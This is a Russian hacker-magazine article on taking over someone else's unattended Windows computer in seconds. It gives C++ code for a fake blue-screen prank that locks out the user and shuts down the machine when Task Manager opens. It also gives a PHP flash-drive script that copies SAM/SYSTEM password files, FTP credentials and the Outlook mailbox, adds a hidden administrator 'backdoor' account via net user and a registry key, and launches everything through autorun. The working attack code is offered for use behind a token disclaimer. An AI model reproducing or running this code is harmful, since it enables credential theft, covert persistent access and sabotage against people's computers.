Один на одинЛеонид «R0id» Стройков Хакер, номер #110, стр. 110-064-1 Владимир «Dot.err» Савицкий (kaifoflife@bk.ru) Овладеваем чужим компом за несколько секундIntroКак часто ты общаешься со своими друзьями/коллегами/знакомыми? Нет, речь идет не о виртуальном общении, а о контакте в реале. Каждый день мы пересекаемся со множеством людей в самых разных ситуациях, причем комп играет при этом далеко не последнюю роль. К чему я клоню? Все просто. Где бы ты ни был: в гостях, на работе, в офисе, у начальника в кабинете - везде можно заметить небрежно торчащий из-под стола системник. Думаю, ты не раз попадал в ситуации, когда тебя оставляли одного в чужом помещении рядом со включенным компом. А ведь делать это категорически нельзя. Почему? Устраивайся поудобнее, сейчас мы подробно расскажем тебе о том, что можно натворить с чужим компом всего за несколько секунд. Мутим западлоИтак, мы оказались за чужим компом всего на несколько минут. Что можно сделать за это время? В принципе, все что угодно, но это должно быть заранее подготовлено. Да, отформатировать винт можно одной командой в консоли, но скучнее шутки не придумаешь. Мы попробуем сымитировать всем знакомый BSOD (Blue Screen of Death). Синий экран смерти можно наблюдать в тех случаях, когда возникает ошибка в коде ядра или драйвера, выполняющегося в режиме ядра, либо вызвать его вручную. В отличие от оригинального, во время показа нашего BSOD Винда будет продолжать свою работу, выполняя нужные нам задачи, а после перезагрузки от него не останется и следа. Напишем небольшую программку на С++, использующую Win32 API. Для фейкового экрана нам необходимо полностью очистить рабочий стол, поместить на него изображение оригинального BSOD и убрать мышь. Также для примера обработаем нажатие клавиш <Alt-Tab> и вызов диспетчера задач. Начнем с явного определения версии Винды и подключения необходимых заголовочных (header) файлов. Предположительно, работать будем с Виндой NT 5.0 (XP): #define WINVER 0x0500 Заголовочные файлы с необходимыми API-функциями: #include "windows.h" #include "commctrl.h" Дальше работаем в теле программы. Необходимо скрыть панель задач, которая является одним из окон. Для этого получим HWND (уникальный идентификатор окна в Windows) панели задач при помощи функции FindWindow("Shell_TrayWnd",NULL) и используем его в функции ShowWindow(), позволяющей задавать режим отображения окна. В нашем случае необходимо скрыть окно, поэтому второй параметр выставляем в SW_HIDE: ShowWindow( FindWindow("Shell_TrayWnd",NULL), SW_HIDE ); Следующим шагом уберем ярлыки (папки и прочее), в большом количестве расплодившиеся на рабочем столе. Рабочий стол также является одним из окон Windows с названием ProgMan (aka program manager), а все, что на нем находится, - его элементами. Получим HWND рабочего стола; через обращение к дочерним окнам функцией GetWindow() с параметром GW_CHILD доберемся до окна, содержащего ярлыки, и пошлем ему сообщение об удалении (с экрана, физически элементы не удаляются) всех элементов через SendMessage() с параметром LVM_DELETEALLITEMS. HWND DesktopHandle = FindWindow("ProgMan", 0); DesktopHandle = GetWindow(DesktopHandle, GW_CHILD); DesktopHandle = GetWindow(DesktopHandle, GW_CHILD); SendMessage(DesktopHandle, LVM_DELETEALLITEMS , 0, 0); На десктопе все еще висят открытые окна и приложения. Свернем их в уже скрытую панель задач нажатием <Win-M>. Нажатие клавиши в привычном нам смысле реализуется непосредственно ее нажатием и отжатием. Передадим в функцию keybd_event() первым параметром необходимую клавишу, а третьим - ее состояние: 0 - нажата, KEYEVENTF_KEYUP - отжата. Также необходимо поместить небольшую задержку в 100 миллисекунд. Sleep(100); keybd_event(VK_LWIN, 0, 0 ,0); keybd_event('M', 0, 0 ,0); keybd_event('M', 0, KEYEVENTF_KEYUP,0); keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP,0); Sleep(100); Теперь на десктопе мы можем наблюдать только обои и мышь. Ими и займемся. Положим изображение синего экрана смерти в виде файла BSOD.bmp в каталог с прогой. API-функция SystemParametersInfo() может отображать и изменять различные параметры системы. В нашем случае первым параметром функции будет SPI_SETDESKWALLPAPER, отвечающий за обои на рабочем столе, третьим - имя файла с изображением BSOD, а четвертым - SPIF_SENDWININICHANGE, указывающий на то, что необходимо обновить конфиг: char filename[50]; strcpy(filename,"BSOD.bmp"); SystemParametersInfo(SPI_SETDESKWALLPAPER,0,&filename,SPIF_SENDWININICHANGE); Синий экран с белым текстом радует глаз, но курсор мыши портит все впечатление. Скроем и уберем курсор в правый нижний угол. Воспользовавшись функцией GetSystemMetrics() с параметром SM_CXSCREEN, получим разрешение экрана по горизонтали, с параметром SM_CYSCREEN - по вертикали. Внесем полученные значения в структуру типа POINT, необходимую для функции установки курсора в определенную позицию SetCursorPos(). int screenW=GetSystemMetrics(SM_CXSCREEN); int screenH=GetSystemMetrics(SM_CYSCREEN); POINT pt = {screenW, screenH}; Скрывать и устанавливать мышь в угол экрана будем в бесконечном цикле, дабы не дать юзверю испортить иллюзию отсутствия курсора: while (1) { ShowCursor(0); SetCursorPos(pt.x, pt.y); } С виду все в порядке, но пользователь может подумать, что его разыгрывают, и попытаться запустить диспетчер задач или попробовать сменить программу по <Alt-Tab>. Конечно, можно написать хук (ловушку) на клавиатуру, но мы ограничимся следующим. При нажатии <Alt-Tab> в Винду посылается сигнал нажатия и отжатия этих клавиш. Мы же будем непрерывно посылать сигнал о том, что клавиши <Alt> и <Tab> отжаты, тем самым не допуская использование этой комбинации. Добавим в цикл, описанный чуть выше, строчки: keybd_event(VK_TAB, 0, KEYEVENTF_KEYUP,0); keybd_event(VK_MENU, 0, KEYEVENTF_KEYUP,0); Следующий на очереди - диспетчер задач. При его вызове, к примеру, будем выключать компьютер. Ловить появление диспетчера мы станем непрерывным поиском окна «Диспетчер задач Windows» (предположительно, мы имеем обычного юзера, использующего локализованную Винду) через FindWindow(). При появлении ему будет отсылаться сообщение о закрытии функцией PostMessage(). Далее выключаем компьютер, используя ExitWindowsEx() с первым параметром EWX_POWEROFF для форсированного выключения (можно EWX_RESTART для перезагрузки). Добавим во все тот же цикл к функциям работы с мышью и клавой следующий код: if (FindWindow(NULL, "Диспетчер задач Windows")) { PostMessage(FindWindow(NULL, "Диспетчер задач Windows"), WM_QUIT, 0, 0); ExitWindowsEx(EWX_POWEROFF, 0); } Функция ExitWindowsEx() не будет работать без соответствующих привилегий (прав доступа), получить которые можно так (код добавляется перед описанным выше циклом while): HANDLE hToken; TOKEN_PRIVILEGES tkp; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0); Готово. Сохраняем, компилируем, запускаем и получаем очередной инструмент по западлостроению. Особенно интересным мне представляется использование этого способа следующим образом. 1. Делаем скриншот: keybd_event(VK_SNAPSHOT, 0, 0 ,0); keybd_event(VK_SNAPSHOT, 0, KEYEVENTF_KEYUP,0); 2. Сохраняем в папку с программой (допустим, сохраним вручную в запущенном Paint'e). WinExec("mspaint.exe", SW_SHOW); В это время наша прога должна быть остановлена, поскольку нам понадобится определенное время, чтобы сохранить скриншот. Пусть ожидает нажатия клавиши: getch(); Заменяем изображение BSOD принтскрином рабочего стола юзера. 3. Убираем из цикла while(1) выключение компьютера, то есть строчку «ExitWindowsEx(EWX_POWEROFF, 0);». 4. Убираем функции для работы с мышью («ShowCursor(0); SetCursorPos(pt.x, pt.y);», в частности). В тело программы добавляем следующие строки: int MS=1; SystemParametersInfo(SPI_SETMOUSESPEED, NULL, (void*)MS, SPIF_UPDATEINIFILE); Так мы до минимума замедлим скорость перемещения курсора. 5. Добавляем в цикл while(1) функцию сокрытия ярлыков на рабочем столе и команду ожидания на 10 миллисекунд, чтобы разгрузить процессор и дать юзеру повозить мышью: SendMessage(DesktopHandle, LVM_DELETEALLITEMS , 0, 0); Sleep(10); Как ты уже догадался, пользователь увидит свою любимую Винду, но, щелкая по ярлыкам, папкам, «Пуску» и программам на панели задач, придет в недоумение. Выворачиваем карманыВсе, с западлостроением разобрались. Нашей следующей задачей будет «заимствование» полезной информации с чужого компа :). Как ты уже догадался, «заимствовать» инфу удобнее всего с помощью самописной тулзы, которую мы обязательно напишем, только чуть позже. Для начала давай определимся с тем, что нас может интересовать в стандартной Винде: SAM-файл, конфиги с аккаунтами от различных приложений. Что касается первого, то кроме самой резервной копии SAM-файла нам понадобится еще и бэкап файла SYSTEM. И тот и другой хранятся, как известно, здесь: C:\WINDOWS\repair\ Брутить пассы виндовых юзеров из SAM'а удобнее всего утилой LCP, которую ты без труда найдешь на просторах секлаба. Со вторым пунктом все немного сложнее. Дело в том, что нам нужно знать точное место расположения конфигов. Конечно, можно реализовать парсинг содержимого всего винта, но сколько потребуется времени на обработку хотя бы 80 гигов... А о том, что будет с твоей задницей, если во время поиска в помещение неожиданно вернется хозяин, мне и думать не хочется :). Следовательно, работа нашей тулзы должна укладываться в жесткие временные рамки. А значит, брать с чужого компа мы будем только то, что находится в заранее известном каталоге. Прежде всего, это конфиг Total Commander'а и файл данных из MS Outlook'а. Первый лежит в C:\WINDOWS\wcx_ftp.ini и содержит в себе все FTP-учетки пользователя, а второй располагается в C:\Documents and Settings\имя_юзера\Local Settings\Application Data\Microsoft\Outlook\Outlook.pst и бережно хранит переписку и контакты жертвы :). Так как наша утила подлежит постоянным изменениям и доработке, кодить удобнее всего на каком-либо скриптовом языке, например на всеми любимом PHP: #Сливаем конфиг с FTP-аккаунтами из Total Commander'а $ftp = "C:\WINDOWS\wcx_ftp.ini"; if(is_file($ftp)){ copy("C:\WINDOWS\wcx_ftp.ini","$FD:\\tmp\wcx_ftp.ini"); }else{ echo("Warning! File wcx_ftp.ini: not found or access denied.\n"); } #Сливаем резервную копию SAM-файла и файла SYSTEM $sam = copy("C:\WINDOWS\\repair\\sam","$FD:\\tmp\sam"); $sys = copy("C:\WINDOWS\\repair\\system","$FD:\\tmp\system"); if(!$sys){ copy("C:\WINDOWS\\repair\\system.bak","$FD:\\tmp\system"); } С wcx_ftp.ini все просто, функция is_file() определяет наличие у нас прав на доступ к файлу, после чего происходит его копирование в /tmp-каталог на нашем носителе. Аналогично и с SAM/SYSTEM. Однако ты наверняка заметил переменную $FD, обозначающую имя съемного диска (проще говоря, флешки). Из-за того, что юзать скрипт нам придется на разных компах, присвоить значение заблаговременно не представляется возможным. Кроме того, при «заимствовании» файла Outlook.pst появляется еще одна проблема - неизвестное имя пользователя: $mst = "C:\Documents and Settings\\$UN\Local Settings\Application Data\Microsoft\Outlook\Outlook.pst"; if(is_file($mst)){ $size=filesize("C:\Documents and Settings\\$UN\Local Settings\Application Data\Microsoft\Outlook\Outlook.pst"); if($size>$MS){ echo("Warning! File Outlook.pst = $size bytes.\n"); }else{ copy("C:\Documents and Settings\\$UN\Local Settings\Application Data\Microsoft\Outlook\Outlook.pst","$FD:\\tmp\Outlook.pst"); } }else{ echo("Warning! File Outlook.pst: not found or access denied.\n"); } Как видишь, юзернейм – это переменная $UN. Забегая вперед, скажу, что в ходе тестирования выяснился недостаток в виде размера Outlook.pst. Поэтому в финальном релизе появилась переменная $MS, несущая в себе максимально допустимое значение размера файла данных из Outlook. Все три параметра - имя диска, имя пользователя и максимальный размер аутлуковского файла - указываются нами при запуске скрипта: F:\php\php F:\base.php F admin 10240 Здесь F - имя флешки, admin - логин юзера, 10240 - размер в байтах. Но радость наша была бы неполной без собственного аккаунта в системе, не так ли? :) К счастью, в большинстве случаев в Винде сидят из-под админа. Добавить своего пользователя с повышенными привилегиями при таком раскладе не составит труда: $login="backdoor"; $password="winpas"; system("net user $login $password /add"); system("net localgroup Администраторы $login /add"); Тем не менее оставлять такое палево после себя очень некрасиво :). Поэтому мы скроем наш аккаунт от посторонних глаз, причем скроем его так, что ни на экране приветствия, ни в панели управления учетными записями он отображаться не будет: $reg = "REGEDIT4"; $key = "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList] \"$login\"=dword:00000000"; $fp = fopen("$FD:\\tmp\user.reg", "w"); fputs($fp, "$reg\n$key"); fclose($fp); system("$FD:\\tmp\user.reg"); //вносим данные в реестр Вот и все. Единственное, что от тебя требуется, - это два раза нажать <Enter> при добавлении записи в реестр. Итак, что мы имеем в итоге:
Причем при сравнительно небольшом размере файла Outlook.pst (< 5 Мб) время, требуемое скриптом на выполнение, составляет всего около 10 секунд. Конечно, многое зависит от железа и скорости передачи данных, но еще большую роль играет твоя сообразительность. Модифицировать мой скрипт или переписать его на другой язык не составит особого труда, зато простора для фантазии здесь хватает. Дерзай, а я всегда помогу :). Два в одном, или Local ToolsИмея на руках две написанные проги, попробуем объединить их в единое целое. Суть идеи такова: на флешке мы размещаем распакованный PHP-интерпретатор, скрипт base.php, утилу BSOD.exe и картинку к ней - BSOD.bmp. Удобнее всего совмещать западло с хакингом :). Поэтому наш скрипт после выполнения возложенных на него обязанностей будет копировать софтинку Dot.err'а на винт жертвы и запускать ее оттуда: $bsod = copy("$FD:\\BSOD.exe","C:\WINDOWS\BSOD.exe"); $scrn = copy("$FD:\\BSOD.bmp","C:\WINDOWS\BSOD.bmp"); system("C:\WINDOWS\BSOD.exe"); Таким образом, стянув все необходимые данные, мы аккуратно укладываем чужой комп на обе лопатки завораживающим синим экраном :). В этом случае base.php тебе нужно запускать при помощи PHP-интерпретатора на твоем носителе, указав все требуемые параметры. Но для особо ленивых есть возможность создания авторана на flash-носителе: [Autorun] shellexecute=BSOD.exe Action=Local_Tools Icon=smile.gif Label=LT Здесь shellexecute обозначает запускаемое приложение, Action - его название, Icon - иконку, а Label - название диска. Кроме того, можно набросать простенький батник, редактируя в нем лишь изменяющиеся параметры, передающиеся скрипту base.php. В общем, выбор за тобой :). Но как бы там ни было, помни, ломать, не строя, невозможно. DangerВнимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут! InfoЕсли Винду юзают из-под админа, не забывай добавлять в систему своего скрытого пользователя с повышенными привилегиями :). Скопируй себе на флешку PHP-интерпретатор, утилу Local Tools (base.php+BSOD.exe) и картинку BSOD.bmp. В корне флеш-диска обязательно создай каталог tmp. Помни, что от размера файла Outlook.pst напрямую зависит скорость работы утилы Local Tools. DVDВсе утилиты мы заботливо выложили на DVD для твоей оценки. |